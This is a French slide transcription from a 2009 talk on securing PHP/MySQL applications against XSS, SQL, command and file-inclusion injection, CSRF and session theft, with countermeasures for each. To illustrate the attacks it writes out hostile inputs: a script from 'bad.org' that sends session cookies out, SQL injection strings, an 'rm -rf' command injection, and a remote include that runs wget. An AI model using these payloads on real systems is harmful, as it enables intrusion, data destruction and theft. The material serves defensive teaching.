ADF 2009 Sécurisation d applications PHP/MySQL

Dimension: px
Commencer à balayer dès la page:

Download "ADF 2009 Sécurisation d applications PHP/MySQL"

Transcription

1 ADF 2009 Sécurisation d applications PHP/MySQL Magali Contensin contensin@ibdml.univ-mrs.fr

2 Plan 1. Filtrer les entrées, protéger les sorties 2. Sécurité par l obscurité 3. XSS 4. Injections 5. CSRF 6. Détournement de sessions

3 1. Filtrer entrées / protéger sorties Application web entrées : données primaires et secondaires sorties fichiers Requête HTTP en-tête Réponse HTTP Application Web SGBD corps en-tête sessions corps texte ou binaire env.

4 1. Filtrer entrées / protéger sorties Envoi de données par GET Données placées dans - URL - cookies Requête HTTP GET GET /voyage.php?lieu=venise HTTP/1.1 Host: Cookie: lang=fr;id=214535e1fa User-Agent: Firefox en-tête corps vide corps

5 1. Filtrer entrées / protéger sorties Envoi de données par GET Données placées dans - URL - cookies voyage.php?lieu=venise Cookie: lang=fr;id=214535e1fa Envoi provoqué par : - action volontaire ou involontaire - navigateur (récupération images, css, scripts, ) - telnet port 80

6 1. Filtrer entrées / protéger sorties Entrées d un script PHP pour GET GET /voyage.php?lieu=venise HTTP/1.1 Host: User-Agent: Firefox Cookie: lang=fr;id=214535e1fa $_GET $_COOKIE $_SERVER

7 1. Filtrer entrées / protéger sorties Envoi de données par POST Données placées dans - Corps - URL - cookies Requête HTTP POST POST /reservation.php?id=2 HTTP/1.1 Host: Cookie: lang=fr;id=214535e1fa User-Agent: Firefox Content-Type: application/x-www-form-urlencoded Content-Length: 11 lieu=venise en-tête corps

8 1. Filtrer entrées / protéger sorties Envoi de données par POST Données placées dans - Corps lieu=venise - URL reservation.php?id=2 - cookies Cookie: lang=fr;id=214535e1f Envoi provoqué par : - action volontaire ou involontaire - telnet port 80

9 1. Filtrer entrées / protéger sorties Entrées d un script PHP pour GET et POST GET /voyage.php?lieu=venise HTTP/1.1 Host: User-Agent: Firefox Cookie: lang=fr;id=214535e1fa $_REQUEST $_GET $_COOKIE $_POST $_SERVER POST /reservation.php?id=25 HTTP/1.1 Host: User-Agent: Firefox Cookie: lang=fr;id=214535e1fa Content-Type: application/x-www-form-urlencoded Content-Length: 11 lieu=venise

10 1. Filtrer entrées / protéger sorties Entrées d un script PHP pour GET et POST GET /voyage.php?lieu=venise HTTP/1.1 Host: User-Agent: Firefox Cookie: lang=fr;id=214535e1fa $_REQUEST $_GET $_COOKIE $_POST $_SERVER $_FILES POST /reservation.php?id=25 HTTP/1.1 Host: User-Agent: Firefox Cookie: lang=fr;id=214535e1fa Content-Type: application/x-www-form-urlencoded Content-Length: 11 lieu=venise POST

11 1. Filtrer entrées / protéger sorties Entrées d un script PHP GET /voyage.php?lieu=venise HTTP/1.1 Host: User-Agent: Firefox Cookie: lang=fr;id=214535e1fa $_REQUEST $_GET $_COOKIE $_POST $_SERVER $_FILES $_ENV POST /reservation.php?id=25 HTTP/1.1 Host: User-Agent: Firefox Cookie: lang=fr;id=214535e1fa Content-Type: application/x-www-form-urlencoded Content-Length: 11 lieu=venise POST

12 1. Filtrer entrées / protéger sorties Entrées d un script PHP GET /voyage.php?lieu=venise HTTP/1.1 Host: User-Agent: Firefox Cookie: lang=fr;id=214535e1fa $_REQUEST $_GET $_COOKIE $_POST $_SERVER $_FILES $_ENV $_SESSION POST /reservation.php?id=25 HTTP/1.1 Host: User-Agent: Firefox Cookie: lang=fr;id=214535e1fa Content-Type: application/x-www-form-urlencoded Content-Length: 11 lieu=venise POST fichier session données secondaires

13 1. Filtrer entrées / protéger sorties Envoi de données malveillantes Modification d un formulaire Modification de la query string Requête forgée (telnet port 80, TamperData)

14 1. Filtrer entrées / protéger sorties Implications méthode HTTP différente de celle attendue champs en-tête HTTP modifiés (User-Agent) absence d arguments attendus arguments ajoutés = nouvelles variables si register_globals = on valeurs inattendues pour des arguments

15 1. Filtrer entrées / protéger sorties Données reçues peuvent être : stockées dans SGBD, fichier, session XSS stocké utilisées pour interroger un SGBD SQL Injection utilisées pour exécuter un programme Injection de commandes Ne jamais faire confiance aux données envoyées par le client

16 1. Filtrer entrées / protéger sorties Actions à entreprendre du côté du programmeur Vérifier toute entrée Données à vérifier $_GET, $_POST, $_COOKIE, $_REQUEST, $_FILES, $_SERVER, $_ENV et $_SESSION Contrôles à effectuer - type données : intval, ctype_*, cast - présence des données attendues - valeurs de nombres comprises entre deux bornes - taillemin < taille donnée < taillemax - jeu de caractères - valeur null autorisée ou non - select, radio, : valeur comprise dans une liste

17 1. Filtrer entrées / protéger sorties Actions à entreprendre du côté du programmeur Vérifier toute entrée Données à vérifier $_GET, $_POST, $_COOKIE, $_REQUEST, $_FILES, $_SERVER, $_ENV et $_SESSION Contrôles à effectuer Filtrage - liste blanche : Indique ce qui est autorisé - liste noire : Indique ce qui est interdit A éviter car plus permissif

18 1. Filtrer entrées / protéger sorties Actions à entreprendre du côté du programmeur Vérifier toute entrée Protéger les données passées à un interpréteur Injections SQL : guillemets autour de la donnée mysql_real_escape_string($data) Injection null dans les chaînes, regexp Injection de commande (exec, system, ) escapeshellarg($data), escapeshellcommand($data)

19 1. Filtrer entrées / protéger sorties Actions à entreprendre du côté du programmeur Vérifier toute entrée Protéger les données passées à un interpréteur Protéger les opérations sur les fichiers (file, readfile, unlink, include, upload, ) Vérification du chemin Suppression du chemin realpath($chemin) basename($chemin) <?php // script code.php header("content-type:text/plain"); $fichier = basename($_get["p"]); readfile($fichier);?>

20 1. Filtrer entrées / protéger sorties Actions à entreprendre du côté du programmeur Vérifier toute entrée Protéger les données passées à un interpréteur Protéger les opérations sur les fichiers (file, readfile, unlink, include, upload, ) File upload - Lire les données avec $_FILES - Manipuler avec move_uploaded_file - Renommer (ne pas utiliser le nom de fichier envoyé) - Vérifier le type du fichier (interdit l upload de scripts)

21 1. Filtrer entrées / protéger sorties Actions à entreprendre du côté du programmeur Vérifier toute entrée Protéger les données passées à un interpréteur Protéger les opérations sur les fichiers Filtrer les sorties vers le client Définir le jeu de caractères de la page <meta http-equiv="content-type«content="text/html; charset=utf-8"/> Coder les caractères spéciaux htmlentities, htmlspecialchars(chaine, ENT_QUOTES)

22 1. Filtrer entrées / protéger sorties Actions à entreprendre du côté du programmeur Vérifier toute entrée Protéger les données passées à un interpréteur Protéger les opérations sur les fichiers Filtrer les sorties vers le client Initialiser les variables Récupérer les données par la méthode attendue Ne pas utiliser : extract, $_REQUEST, register_globals à on

23 1. Filtrer entrées / protéger sorties Actions à entreprendre du côté administrateur php.ini register_globals off <?php // login.php if (verifclient($_post['login'], $_POST['passwd'])){ $ok = true ; } if ($ok){ }?>

24 1. Filtrer entrées / protéger sorties Actions à entreprendre du côté administrateur php.ini register_globals off error_reporting E_ALL open_basedir arborescence_autorisee allow_url_fopen off disable_functions liste_fonctions_interdites magic_quotes_gpc off

25 1. Filtrer entrées / protéger sorties Actions à entreprendre du côté administrateur php.ini fichier automatiquement inclus (auto_prepend_file) : foreach($_post as $cle=>$val){ $_POST[$cle] = strip_tags($val); } mod_security attention à AllowOverride All ou Options autorise la modification de directives du php.ini dans un.htaccess

26 Plan 1. Filtrer les entrées, protéger les sorties 2. Sécurité par l obscurité 3. XSS 4. Injections 5. CSRF 6. Détournement de sessions

27 2. Sécurité par l obscurité Informations données par Apache ServerSignature

28 2. Sécurité par l obscurité Informations données par Apache ServerTokens HTTP/ OK HTTP/ OK Date: Sat, 26 Apr :54:37 GMT Server: Apache/ (Unix) PHP/4.4.2 mod_ssl/ OpenSSL/0.9.7a Connection: close Content-Type: text/html X-Powered-By: PHP/4.4.2 Connection closed by foreign host.

29 2. Sécurité par l obscurité Informations données par PHP expose_php réponse HTTP 200 OK Connection: close Date: Sat, 26 Apr :00:03 GMT Server: Apache Content-Type: text/html X-Powered-By: PHP/4.4.2

30 2. Sécurité par l obscurité Informations données par PHP expose_php réponse HTTP crédits?=phpb8b5f2a0-3c92-11d3-a3a9-4c7b08c10000

31 2. Sécurité par l obscurité Informations données par PHP expose_php réponse HTTP crédits images?=phpe9568f34-d428-11d2-a769-00aa001acf42?=phpe9568f35-d428-11d2-a769-00aa001acf42?=phpe9568f36-d428-11d2-a769-00aa001acf42

32 2. Sécurité par l obscurité Informations données par PHP expose_php réponse HTTP crédits images ext/standard/info.h : #define PHP_LOGO_GUID "PHPE9568F34-D428-11d2-A769-00AA001ACF42" #define PHP_EGG_LOGO_GUID "PHPE9568F36-D428-11d2-A769-00AA001ACF42" #define ZEND_LOGO_GUID "PHPE9568F35-D428-11d2-A769-00AA001ACF42" #define PHP_CREDITS_GUID "PHPB8B5F2A0-3C92-11d3-A3A9-4C7B08C10000"

33 2. Sécurité par l obscurité Informations données par l extension.php Associer une autre extension AddType application/x-httpd-php.asp Parser.html AddType application/x-httpd-php.htm.html Application par défaut DefaultType application/x-httpd-php Réécriture rewriteengine on rewriterule (.+).html$ $1.php [L]

34 2. Sécurité par l obscurité Cookie de session session.name

35 2. Sécurité par l obscurité Affichage des erreurs Warning: sort() expects parameter 1 to be array, integer given in /web/crfb/test.php on line 7 error_reporting display_errors display_startup_errors log_errors error_log report_memleaks track_errors

36 2. Sécurité par l obscurité Attention aux modif. dans le.htaccess <Directory /web/crfb/pagesperso/magali/testerr> AllowOverride All </Directory>.htaccess php_flag display_errors on php_value directive valeur PHP_INI_PERDIR register_globals, variables_order, register_long_arrays, auto_append_files, auto_prepend_files, magic_quotes_gpc, post_max_size, upload_max_filesize, short_open_tags, asp_tags PHP_INI_ALL

37 2. Sécurité par l obscurité Attention aux modif. dans le.htaccess <Directory /web/crfb/pagesperso/magali/testerr> AllowOverride All </Directory>.htaccess php_flag display_errors on php_value upload_max_filesize 900M php_admin_flag display_errors on php_admin_value upload_max_filesize 10M

38 2. Sécurité par l obscurité Informations données par des fichiers non protégés sur le serveur <?php echo "bonjour ", $_GET['nom'];...?>

39 2. Sécurité par l obscurité Informations données par des fichiers non protégés sur le serveur

40 2. Sécurité par l obscurité Informations données par des fichiers non protégés sur le serveur

41 2. Sécurité par l obscurité Informations données par des fichiers non protégés sur le serveur <Files ~ "^\.ht ~$"> Order allow,deny RedirectMatch 404 ~$ Deny from all RedirectMatch 404 \.htaccess </Files>

42 2. Sécurité par l obscurité Informations données par les listings <Directory "/web/crfb/"> Options ExecCGI Indexes </Directory>

43 2. Sécurité par l obscurité Informations données par les logiciels

44 2. Sécurité par l obscurité Informations données par les logiciels restreindre accès (.htaccess ou sessions) configurer pour une info minimale interdire les fonctions php (disable_functions) php_uname, phpversion, mysql_get_server_info

45 2. Sécurité par l obscurité Informations données par php disable_functions = "phpinfo"

46 2. Sécurité par l obscurité Code source <?php show_source($_get['fichier'])?>

47 2. Sécurité par l obscurité Code source disable_functions = "show_source, highlight_file" open_basedir = "/web/:/tmp/"

48 2. Sécurité par l obscurité Code source # AddType application/x-httpd-php-source.phps AddType application/x-httpd-php.php.php3.php4.phps RedirectMatch 404 \.phps$

49 2. Sécurité par l obscurité Masquer Apache Apache 1.3 modifier httpd.h #define SERVER_BASEPRODUCT "Apache #define SERVER_BASEREVISION "1.3.34" Apache 2.0 modifier ap_release.h #define AP_SERVER_BASEVENDOR "Apache Software Foundation" #define AP_SERVER_BASEPRODUCT "Apache" #define AP_SERVER_MAJORVERSION_NUMBER 2 #define AP_SERVER_MINORVERSION_NUMBER 0 #define AP_SERVER_PATCHLEVEL_NUMBER 58

50 2. Sécurité par l obscurité Interdire l indexation fichier robots.txt User-agent: * Disallow: /cgi-bin/ Disallow: /docs/

51 2. Sécurité par l obscurité Interdire la mise en cache de données dans le navigateur Complétion formulaires <form action="valider.php" method="post"> <form action="valider.php" AUTOCOMPLETE="off" method="post">

52 2. Sécurité par l obscurité Interdire la mise en cache de données dans le navigateur Complétion formulaires Page web Pragma:no-cache HTTP/1.0 Cache-control:no-cache HTTP/1.1 Expires header("cache-control: no-cache"); header("pragma: no-cache"); header("expires: Thu, 01 Jan :00:00 GMT");

53 2. Sécurité par l obscurité Masquer les données de connexion SGBD httpd.conf <Directory "/web/crfb/pagesperso/magali/testsiars"> Include /home/magali/connexion.txt </Directory> SetEnv dblogin "magali" SetEnv dbpass "m2pasmag" SetEnv dbbd "ma_base" SetEnv dbhost " " <?php echo $_SERVER['dbLogin'];?> <?php system('cat /home/magali/connexion.txt');?>

54 2. Sécurité par l obscurité Masquer les données de connexion SGBD httpd.conf.htaccess

55 2. Sécurité par l obscurité Masquer les données de connexion SGBD httpd.conf.htaccess directives php mysql.default_user mysql.default_password mysql.default_port mysql.default_host get_cfg_var("mysql.default_password");

56 Plan 1. Filtrer les entrées, protéger les sorties 2. Sécurité par l obscurité 3. Protection contre le XSS 4. Injections 5. CSRF 6. Détournement de sessions

57 3. Protection contre le XSS Attaque Stockée sur le serveur web XSS envoyé par le pirate nom Smith<script src= mail 1 Erreur 1 : XSS pas de vérification des entrées 2 Application Web Smith <script src= </script> XSS SGBD <?php import_request_variables('g', 'f_'); $req = "INSERT INTO users (nom, mail) VALUES ('$f_nom', '$f_mail')" ; $res = mysql_query($req) or die("erreur"); echo "donnees inserees";?> 3

58 3. Protection contre le XSS Attaque Stockée sur le serveur web l accès à une ressource provoque l envoi du XSS au navigateur admin. 1 GET liste_inscrits.php XSS Application Web Smith <script src= </script> XSS SGBD 3 Smith <script src= john.smith@bad.org<br> Erreur 2 : pas de protection des sorties 2 <?php $req = "SELECT nom, mail FROM users"; $res = mysql_query($req) or die("erreur"); while ($ligne = mysql_fetch_assoc($res)){ echo $ligne['nom']," ",$ligne['mail'],"<br>"; }?>

59 3. Protection contre le XSS Attaque Stockée sur le serveur web le XSS est exécuté par le navigateur admin. 1 GET liste_inscrits.php 3 5 XSS Application Web Smith <script src= </script> vol de session idsess=a2345effb9ccd XSS SGBD GET document.write( <img src= +document.cookie+ width=1> ) 4 GET c.js bad.org

60 3. Protection contre le XSS Actions à entreprendre Filtrer les entrées (par liste blanche) éventuellement utiliser utf8_decode et strip_tags Préciser le jeu de caractères Protéger les sorties (htmlentities, htmlspecialchars) <?php $req = "SELECT nom, mail FROM users"; $res = mysql_query($req) or die("erreur"); while ($ligne = mysql_fetch_assoc($res)){ echo htmlentities($ligne['nom'], ENT_QUOTES), " ", htmlentites($ligne['mail'], ENT_QUOTES), "<br>"; }?> Smith <script src= john.smith@bad.org<br>

61 Plan 1. Filtrer les entrées, protéger les sorties 2. Sécurité par l obscurité 3. Protection contre le XSS 4. Protection contre les Injections 5. CSRF 6. Détournement de sessions

62 4. Protection contre les injections SQL magic_quotes_gpc = off ' OR 1 = POST HTTP/1.0 Content-Type: application/x-www-form-urlencoded Content-Length: 24 login=%27+or+1+=+1+--%20 Application Web 2 <?php... $login = $_POST['login']; $pwd = $_POST['passwd']; $req = "SELECT login, prenom FROM utilisateur WHERE login='$login' AND password='$pwd'"; $result = mysql_query($req) or exit("erreur"); if (mysql_num_rows($result) == 0){ die("erreur d'authentification "); } $ligne = mysql_fetch_assoc($result); echo "bonjour ", $ligne['prenom'], "!";?>

63 4. Protection contre les injections SQL magic_quotes_gpc = off ' OR 1 = POST HTTP/1.0 Content-Type: application/x-www-form-urlencoded Content-Length: 24 login=%27+or+1+=+1+--%20 2 SELECT login, prenom FROM utilisateur WHERE login='' OR 1 = 1 -- ' AND password='' Application Web SGBD

64 4. Protection contre les injections SQL magic_quotes_gpc = off ' OR 1 = POST HTTP/1.0 Content-Type: application/x-www-form-urlencoded Content-Length: 24 login=%27+or+1+=+1+--%20 2 SELECT login, prenom FROM utilisateur WHERE login='' OR 1 = 1 -- ' AND password='' bonjour Magali! 4 Application Web 3 SGBD login prenom mag Magali admin Grand chef

65 4. Protection contre les injections SQL magic_quotes_gpc = off ' OR 1 = 1 LIMIT 1, POST HTTP/1.0 Content-Type: application/x-www-form-urlencoded Content-Length: 36 login=%27+or+1+=+1+limit+1%2c1+--%20 bonjour Grand chef! 4 Application Web SELECT login, prenom FROM utilisateur WHERE login='' OR 1 = 1 LIMIT 1,1 -- ' AND password='' 2 3 SGBD login prenom mag Magali admin Grand chef

66 4. Protection contre les injections SQL - actions à entreprendre côté programmeur protéger les données avec mysql_real_escape_string <?php... $login = $_POST['login']; $pwd = $_POST['passwd']; $req = "SELECT login, prenom FROM utilisateur WHERE login='". mysql_real_escape_string($login). "' AND password='". mysql_real_escape_string($pwd). "'"; $result = mysql_query($req) or exit("erreur"); if (mysql_num_rows($result) == 0){ die("erreur d'authentification "); } $ligne = mysql_fetch_assoc($result); echo "bonjour ", $ligne['prenom'], "!";?> ' OR 1 = 1 LIMIT 1,1 -- SELECT login, prenom FROM utilisateur WHERE login='\' OR 1 = \'1 LIMIT 1,1 -- ' AND password='';

67 4. Protection contre les injections SQL - actions à entreprendre côté programmeur protéger les données avec mysql_real_escape_string filtrer les entrées : taille, type,... cast des nombres ou mettre des ' ' autour des nombres $req = "UPDATE commande SET quantite = $nb WHERE ref=$ref";?ref=21&nb=5,%20desc=load%20infile('/etc/passwd') UPDATE commande SET quantite=5, desc=load INFILE('/etc/passwd') WHERE ref=21

68 4. Protection contre les injections SQL - actions à entreprendre côté programmeur protéger les données avec mysql_real_escape_string filtrer les entrées : taille, type,... cast des nombres ou mettre des ' ' autour des nombres utiliser des requêtes préparées $log = $_POST['login']; $log = $_POST['login']; $pwd = $_POST['passwd']; // connexion $db = new mysqli(ip, LOGIN, PASS, DB, PORT) or die('echec'); // preparer la requete $req = "SELECT prenom, mail FROM users WHERE login=? AND password=?"; $prep = $db->prepare($req) or die ('pb'); $prep->bind_param("ss", $log, $pwd); // lier les 2 var. de type string $prep->execute(); $prep->bind_result($prenom, $mail); // lier les colonnes aux var. $prep->fetch() ; echo "bonjour ", htmlentities($prenom), " votre mail est ", htmlentities($mail); $prep->close(); // deconnexion $db->close();

69 4. Protection contre les injections SQL - actions à entreprendre côté admin. magic_quotes_gpc aucun affichage d erreur sur un serveur en production privilèges restreints pour le compte mysql utilisé pour le web plusieurs instances de mysql avec mysqld_multi protéger les connexions entre le serveur web et le serveur SGBD

70 4. Protection contre les injections Commandes <?php echo system("ls -1 *.".$_GET['ext']);?> 1 listing.php /listing.php?ext=php;cd/;rm+-rf+* 2 ls -1 *.php;cd/;rm+-rf+* cnx.php index.php connectbase.php listing.php 3 4 / 5

71 4. Protection contre les injections Commandes - actions à entreprendre Développeur Filtrer les entrées if (!ctype_alpha($ext)){ die("argument non valide"); } Protéger des méta-caractères (escapeshellcmd, escapeshellarg) Administrateur Désactiver si possible system, exec, shell_exec (disable_functions)

72 4. Protection contre les injections Code (RFI Remote File Inclusion) exec bad.org GET bad.txt 3 bad.txt <?php echo system('cd /tmp; ls; wget ls');?> 5 2 test.php?p= 4 wget 1 test.php <?php require($_get['p'].".php");?> <?php /tmp echo system('cd /tmp; ls; wget ls');?>

73 4. Protection contre les injections Code - actions à entreprendre Développeur Filtrer les entrées Chemin : utiliser basename, realpath Protéger des méta-caractères (escapeshellcmd, escapeshellarg) Administrateur Désactiver si possible eval (disable_functions) allow_url_fopen à off (allow_url_include depuis PHP 5.2.0) Utiliser curl Fixer le répertoire d inclusion avec open_basedir Filtrer les connexions sortantes sur le pare-feu

74 5. Protection contre les injections Null injection (caractère \0) <?php $fichier = basename($_get['nom']); readfile($fichier.".txt");?>?nom=nom_script.php%00 <?php if (preg_match("/[^a-za-z]/", $_GET['chaine'])){ die('erreur'); } else{ echo 'ok'; }?chaine=test1?>?chaine=%00test1 Actions à entreprendre Filtrer les entrées (méthode liste blanche)

75 Plan 1. Filtrer les entrées, protéger les sorties 2. Sécurité par l obscurité 3. XSS 4. Injections 5. CSRF 6. Détournement de sessions

76 5. Protection contre le CSRF Ajouter un commentaire <img src='article.php?id=3&action=del' width='0'> <img src='article.php?id=3&action=del' width='0'> 1 membre d un site protégé 3 SGBD 2 GET article.php?id=3&action=read membre d un site protégé 4 <img src='article.php?id=3&action=del' width='0'> GET

77 5. Protection contre le CSRF Actions à entreprendre Majorité des attaques = méthode GET Utiliser POST si mise à jour de données Ne pas utiliser $_REQUEST pour récupérer les données => Protège contre les attaques menées par GET Attaques utilisant POST Forcer l utilisation du formulaire du site (idée s assurer que les données reçues par POST proviennent bien d un formulaire envoyé par le site) => Utiliser un identifiant aléatoire pour chaque formulaire, stocké en session avec un délai de validité

78 Plan 1. Filtrer les entrées, protéger les sorties 2. Sécurité par l obscurité 3. XSS 4. Injections 5. CSRF 6. Détournement de sessions

79 6. Protection contre le vol de session Détourner une session = fournir un id valide 1 login=zorro&passwd=paszorro sessid=21000 Bonjour Zorro 2 3 sessid=21000 article=12&action=voir sessid=21000 article=5&action=supprimer

80 6. Protection contre le vol de session Détourner une session = fournir un id valide Identifiant transmis par cookie, URL, champ form. Attaques pour obtenir un identifiant valide Prédiction (id = nombre entier incrémenté) Force brute Fixation Vol o id dans l URL (historique, bookmark, logs, envoi par mail, ) o vol de cookie (XSS, ordinateur public) o interception (écoute réseau) o consultation des fichiers de session sur le serveur

81 6. Protection contre le vol de session Actions à entreprendre Développeur Générer un nouvel id de session après identification (session_regenerate_id) Limiter la durée de validité d une session Utiliser un 2 ème moyen de suivi de session (User-Agent) Toujours proposer une déconnexion Utiliser les identifiants de session PHP Administrateur session.use_only_cookies SSL protéger les fichiers de session (stocker dans SGBD, utiliser open_basedir)

82 Sur Internet Top 25 Most Dangerous Programming Errors WASC (Web Application Security Consortium) OWASP (Open Web Application Security Project) CERTA (Centre d Expertise Gouvernemental de Réponse et de Traitement des Attaques Informatiques) CERT (Computer Emergency Response Team)

Sécurité des sites Web Pas un cours un recueil du net. INF340 Jean-François Berdjugin

Sécurité des sites Web Pas un cours un recueil du net. INF340 Jean-François Berdjugin Sécurité des sites Web Pas un cours un recueil du net INF340 Jean-François Berdjugin Vulnérabilité Définition (wikipédia) : Dans le domaine de la sécurité informatique, une vulnérabilité est une faiblesse

Plus en détail

Principales failles de sécurité des applications Web Principes, parades et bonnes pratiques de développement

Principales failles de sécurité des applications Web Principes, parades et bonnes pratiques de développement Guillaume HARRY l Contenu sous licence Creative Commons CC-BY-NC-ND Principales failles de sécurité des applications Web Principes, parades et bonnes pratiques de développement P. 2 1. Introduction 2.

Plus en détail

cedric.foll@(education.gouv.fr laposte.net) Ministère de l'éducation nationale Atelier sécurité Rabat RALL 2007

cedric.foll@(education.gouv.fr laposte.net) Ministère de l'éducation nationale Atelier sécurité Rabat RALL 2007 A t t a q u e s c o n t r e l e s a p p l i s w e b cedric.foll@(education.gouv.fr laposte.net) Ministère de l'éducation nationale Atelier sécurité Rabat RALL 2007 D e l ' u t i l i t é d e l ' a t t a

Plus en détail

PHP et les Bases de données - Généralités

PHP et les Bases de données - Généralités PHP et les Bases de données - Généralités Conception d une base de données Méthodes utilisées : MERISE, UML Modèle conceptuel des données MCD, Modèle logique MLD, Modèle Physique MPD. Ces aspects seront

Plus en détail

Serveurs de noms Protocoles HTTP et FTP

Serveurs de noms Protocoles HTTP et FTP Nils Schaefer Théorie des réseaux (EC3a) Serveurs de noms Protocoles HTTP et FTP Théorie des réseaux (EC3a) Séance 7 Pourquoi DNS? Internet est une structure hiérarchique et arborescente de réseaux et

Plus en détail

PHP CLÉS EN MAIN. 76 scripts efficaces pour enrichir vos sites web. par William Steinmetz et Brian Ward

PHP CLÉS EN MAIN. 76 scripts efficaces pour enrichir vos sites web. par William Steinmetz et Brian Ward PHP CLÉS EN MAIN 76 scripts efficaces pour enrichir vos sites web par William Steinmetz et Brian Ward TABLE DES MATIÈRES INTRODUCTION 1 1 TOUT CE QUE VOUS AVEZ TOUJOURS VOULU SAVOIR SUR LES SCRIPTS PHP

Plus en détail

L3 informatique TP n o 2 : Les applications réseau

L3 informatique TP n o 2 : Les applications réseau L3 informatique TP n o 2 : Les applications réseau Sovanna Tan Septembre 2009 1/20 Sovanna Tan L3 informatique TP n o 2 : Les applications réseau Plan 1 Transfert de fichiers 2 Le Courrier électronique

Plus en détail

SERVEUR HTTP Administration d apache

SERVEUR HTTP Administration d apache 1 SERVEUR HTTP Administration d apache PLAN Introduction: Présentation HTTP; Installation et configuration d apache; VirtualHosts; Aliasing; Limitation d accès. 2 PROTOCOLE HTTP PRÉSENTATION HTTP : HyperText

Plus en détail

Audit Sécurité vendredi 13 novembre 2009 1

Audit Sécurité vendredi 13 novembre 2009 1 Audit Sécurité 1 Ordre du jour Présentation de l atelier Audit boîte noire Audit à code ouvert 2 Qui parle? Philippe Gamache Parler haut, interagir librement : audit de sécurité, formations Caviste de

Plus en détail

Serveur Web Apache - SSL - PHP Debian GNU/Linux

Serveur Web Apache - SSL - PHP Debian GNU/Linux Serveur Web Apache - SSL - PHP Debian GNU/Linux Matthieu Vogelweith 24 août 2009 Résumé L objectif de ce document est de détailler l installation d un serveur Web Apache [1] complet sous Debian GNU/Linux

Plus en détail

Failles XSS : Principes, Catégories Démonstrations, Contre mesures

Failles XSS : Principes, Catégories Démonstrations, Contre mesures HERVÉ SCHAUER CONSULTANTS Cabinet de Consultants en Sécurité Informatique depuis 1989 Spécialisé sur Unix, Windows, TCP/IP et Internet Séminaire 15 ans HSC Failles XSS : Principes, Catégories Démonstrations,

Plus en détail

Aide-mémoire minimal pour la sécurité en PHP François Gannaz (francois.gannaz@silecs.info)

Aide-mémoire minimal pour la sécurité en PHP François Gannaz (francois.gannaz@silecs.info) 1 Généralités Aide-mémoire minimal pour la sécurité en PHP François Gannaz (francois.gannaz@silecs.info) 1.1 Principes fondamentaux Evaluer le risque potentiel de l'application : diusion, données sensibles...

Plus en détail

OWASP Open Web Application Security Project. Jean-Marc Robert Génie logiciel et des TI

OWASP Open Web Application Security Project. Jean-Marc Robert Génie logiciel et des TI OWASP Open Web Application Security Project Jean-Marc Robert Génie logiciel et des TI A1: Injection Une faille d'injection, telle l'injection SQL, OS et LDAP, se produit quand une donnée non fiable est

Plus en détail

Stockage du fichier dans une table mysql:

Stockage du fichier dans une table mysql: Stockage de fichiers dans des tables MYSQL avec PHP Rédacteur: Alain Messin CNRS UMS 2202 Admin06 30/06/2006 Le but de ce document est de donner les principes de manipulation de fichiers dans une table

Plus en détail

PHP 4 PARTIE : BASE DE DONNEES

PHP 4 PARTIE : BASE DE DONNEES PHP 4 PARTIE : BASE DE DONNEES 1. Introduction 2. Présentation de MySQL 3. Principe 4. Connexion 5. Interrogation 6. Extraction des données 7. Fonctions de services 8. Traitement des erreurs 9. Travaux

Plus en détail

Pratique et administration des systèmes

Pratique et administration des systèmes Université Louis Pasteur Licence Informatique (L2) UFR de Mathématiques et Informatique Année 2007/2008 1 But du TP Pratique et administration des systèmes TP10 : Technologie LAMP Le but de ce TP est de

Plus en détail

Attaques applicatives

Attaques applicatives Attaques applicatives Attaques applicatives Exploitation d une mauvaise programmation des applications Ne touche pas le serveur lui-même mais son utilisation/ configuration Surtout populaire pour les sites

Plus en détail

PHP et mysql. Code: php_mysql. Olivier Clavel - Daniel K. Schneider - Patrick Jermann - Vivian Synteta Version: 0.9 (modifié le 13/3/01 par VS)

PHP et mysql. Code: php_mysql. Olivier Clavel - Daniel K. Schneider - Patrick Jermann - Vivian Synteta Version: 0.9 (modifié le 13/3/01 par VS) PHP et mysql php_mysql PHP et mysql Code: php_mysql Originaux url: http://tecfa.unige.ch/guides/tie/html/php-mysql/php-mysql.html url: http://tecfa.unige.ch/guides/tie/pdf/files/php-mysql.pdf Auteurs et

Plus en détail

Vulnérabilités et sécurisation des applications Web

Vulnérabilités et sécurisation des applications Web OSSIR 09/09/2002 Vulnérabilités, attaques et sécurisation des applications Web Pourquoi les firewalls sont impuissants patrick.chambet@edelweb.fr http://www.edelweb.fr http://www.chambet.com Page 1 Planning

Plus en détail

Tech-Evenings Sécurité des applications Web Sébastien LEBRETON

Tech-Evenings Sécurité des applications Web Sébastien LEBRETON Tech-Evenings Sécurité des applications Web Sébastien LEBRETON Pourquoi revoir la sécurité des applications Web Des technologies omniprésentes Facilité de mise en œuvre et de déploiement. Commerce en ligne,

Plus en détail

Sécuriser les applications web de l entreprise

Sécuriser les applications web de l entreprise LABORATOIRE SECURITE Sécuriser les applications web de l entreprise Mise en place de ModSecurity pour Apache Julien SIMON - 61131 Sommaire Présentation de la situation actuelle...3 Qu est ce qu un WAF?...5

Plus en détail

HTTP HTTP. IUT1 dpt SRC L Isle d Abeau Jean-françois Berdjugin. Introduction et architecture Messages Authentification Conclusion

HTTP HTTP. IUT1 dpt SRC L Isle d Abeau Jean-françois Berdjugin. Introduction et architecture Messages Authentification Conclusion HTTP IUT1 dpt SRC L Isle d Abeau Jean-françois Berdjugin HTTP Introduction et architecture Messages Authentification Conclusion 1 HTTP Introduction et architecture Hypertext Transfert Protocol URI (Uniform

Plus en détail

La programmation orientée objet Gestion de Connexions HTTP Manipulation de fichiers Transmission des données PHP/MySQL. Le langage PHP (2)

La programmation orientée objet Gestion de Connexions HTTP Manipulation de fichiers Transmission des données PHP/MySQL. Le langage PHP (2) Le langage PHP (2) Walid Belkhir Université de Provence belkhir@cmi.univ-mrs.fr http://www.lif.univ-mrs.fr/ belkhir/ 1 / 54 1 La programmation orientée objet 2 Gestion de Connexions HTTP 3 Manipulation

Plus en détail

2011 Hakim Benameurlaine 1

2011 Hakim Benameurlaine 1 Table des matières 1 Sécuriser un serveur Apache... 2 1.1 Afficher le moins d informations... 2 1.2 Désactiver la signature... 4 1.3 Limitations des attaques... 5 1.4 Bien définir un virtual host... 6

Plus en détail

(structure des entêtes)

(structure des entêtes) Aide mémoire HTTP (structure des entêtes) Fabrice HARROUET École Nationale d Ingénieurs de Brest http://www.enib.fr/~harrouet/ enib 1/10 Structure générale d une requête Requête HTTP méthode ressource

Plus en détail

Dans l'épisode précédent

